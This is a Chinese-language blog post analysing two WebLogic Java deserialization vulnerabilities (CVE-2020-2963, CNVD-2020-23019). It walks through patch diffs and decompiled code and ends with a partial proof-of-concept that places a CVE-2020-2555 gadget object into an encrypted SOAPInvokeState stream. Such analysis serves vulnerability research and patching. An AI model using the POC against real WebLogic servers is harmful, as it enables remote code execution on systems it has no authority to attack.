zoukankan      html  css  js  c++  java
  • weblogic CVE-2020-2963、CNVD-2020-23019 反序列化漏洞分析与复现

    简介

    这两个洞应该都是5月更新的补丁,分析时候无意中发现的。看了一下漏洞挺简单,就是利用有点苛刻

    SOAPInvokeState CNVD-2020-23019

    diff 补丁,截图如下

    可以很明显的看出,将ObjectInputStream更改为FilterInputStream。在weblogic中,FilterInputStream负责检查反序列化的类种是否存在可以利用的Gadget,而ObjectInputStream不会。并且在类的readObject 方法中,通过T3协议反序列化默认的参数为FilterInputStream,以此来防御反序列化漏洞。

    除非类的readObject中乱调用ObjectInputStream,否则是不会产生反序列化漏洞的。

    在SOAPInvokeState的readExternal中,我们只要能走入以下的流程即可

            if ((flags & 1) != 0) {
                try {
                    len = in.readInt();
                    byte[] bytes = new byte[len];
                    in.readFully(bytes);
                    bytes = EncryptionUtil.decrypt(bytes);
                    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
                    ObjectInputStream in2 = new ObjectInputStream(bais);
                    this.subject = (AuthenticatedSubject)in2.readObject();
                } catch (Exception var13) {
                    (new NonCatalogLogger("WebServices")).warning("Couldn't completely read SOAPInvokeState object", var13);
                }
    
    

    看一下writeExternal方法,被实例化的类中存在subject,就可以让readExternal执行上面的反序列化流程

            if (this.subject != null) {
                ByteArrayOutputStream var12 = new ByteArrayOutputStream();
                ObjectOutputStream var13 = new ObjectOutputStream(var12);
                var13.writeObject(this.subject);
                var13.flush();
                byte[] var5 = var12.toByteArray();
                var5 = EncryptionUtil.encrypt(var5);
                var1.writeInt(var5.length);
                var1.write(var5);
            }
    

    当然,还下面问题

    加密

    在EncryptionUtil.encrypt加密时,会根据Kernel.isServer()为true,才会进行加密,否则返回原数据。
    因此加密之前需要调用KernelStatus.setIsServer(true)设置状态为true,或者强行加密。

        public static byte[] encrypt(byte[] var0) {
            return getEncryptionService().encryptBytes(var0);
        }
    

    weblogic.security.internal.SerializedSystemIni#getExistingEncryptionService中,会读取SerializedSystemIni.dat作为密钥,也就是说,需要认证或者配合文件读取才能利用该漏洞去攻击weblogic

        public static EncryptionService getExistingEncryptionService() {
            String var0 = DomainDir.getRootDir();
            String var1 = var0 + File.separator + "security" + File.separator + "SerializedSystemIni.dat";
            File var2 = new File(var1);
            if (!var2.exists()) {
                String var3 = var0 + File.separator + "SerializedSystemIni.dat";
                File var4 = new File(var3);
                if (!var4.exists()) {
                    return null;
                }
    
                var1 = var3;
            }
    
            SerializedSystemIni var5 = new SerializedSystemIni(var1);
            return getEncryptionService(var5.getTheSalt(), var5.getTheEncryptedSecretKey(), var5.getTheAESEncryptedSecretKey());
    

    POC

    魔改一下 writeExternal为下面的代码,再反序列化即可

                BadAttributeValueExpException exp = null;
                try {
                    exp = cve_2020_2555.getBadAttributeValueExpException();
                } catch (Exception e) {
                    e.printStackTrace();
                }
                out2.writeObject(exp);
                out2.flush();
                byte[] bytes = baos.toByteArray();
                bytes = EncryptionUtil.encrypt(bytes);
                out.writeInt(bytes.length);
                out.write(bytes);
            }
           
    }
    

    WlsSSLAdapter CVE-2020-2963

    原理一样,详见下面的代码

    
        private Object readEncryptedField(ObjectInputStream in) throws IOException, ClassNotFoundException {
            int length = in.readInt();
            if (length <= 0) {
                return in.readObject();
            } else {
                byte[] bytes = new byte[length];
                in.readFully(bytes);
                bytes = EncryptionUtil.decrypt(bytes);
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
                ObjectInputStream in2 = new ObjectInputStream(bais);
                return in2.readObject();
            }
        }
    

    参考

    1. https://www.fortiguard.com/encyclopedia/ips/48965
    2. https://www.fortiguard.com/encyclopedia/ips/48945
  • 相关阅读:
    超酷图片压缩工具,就是不支持批量
    eclipse java热加载
    mysql 突然报错,连接不上
    svn问题终极解决办法
    svn经常困扰我的问题
    洛谷 P3628
    CodeForces 1091H
    委托的实际应用
    WPF 小知识点001
    C# 扩展方法一
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/13865232.html
Copyright © 2011-2022 走看看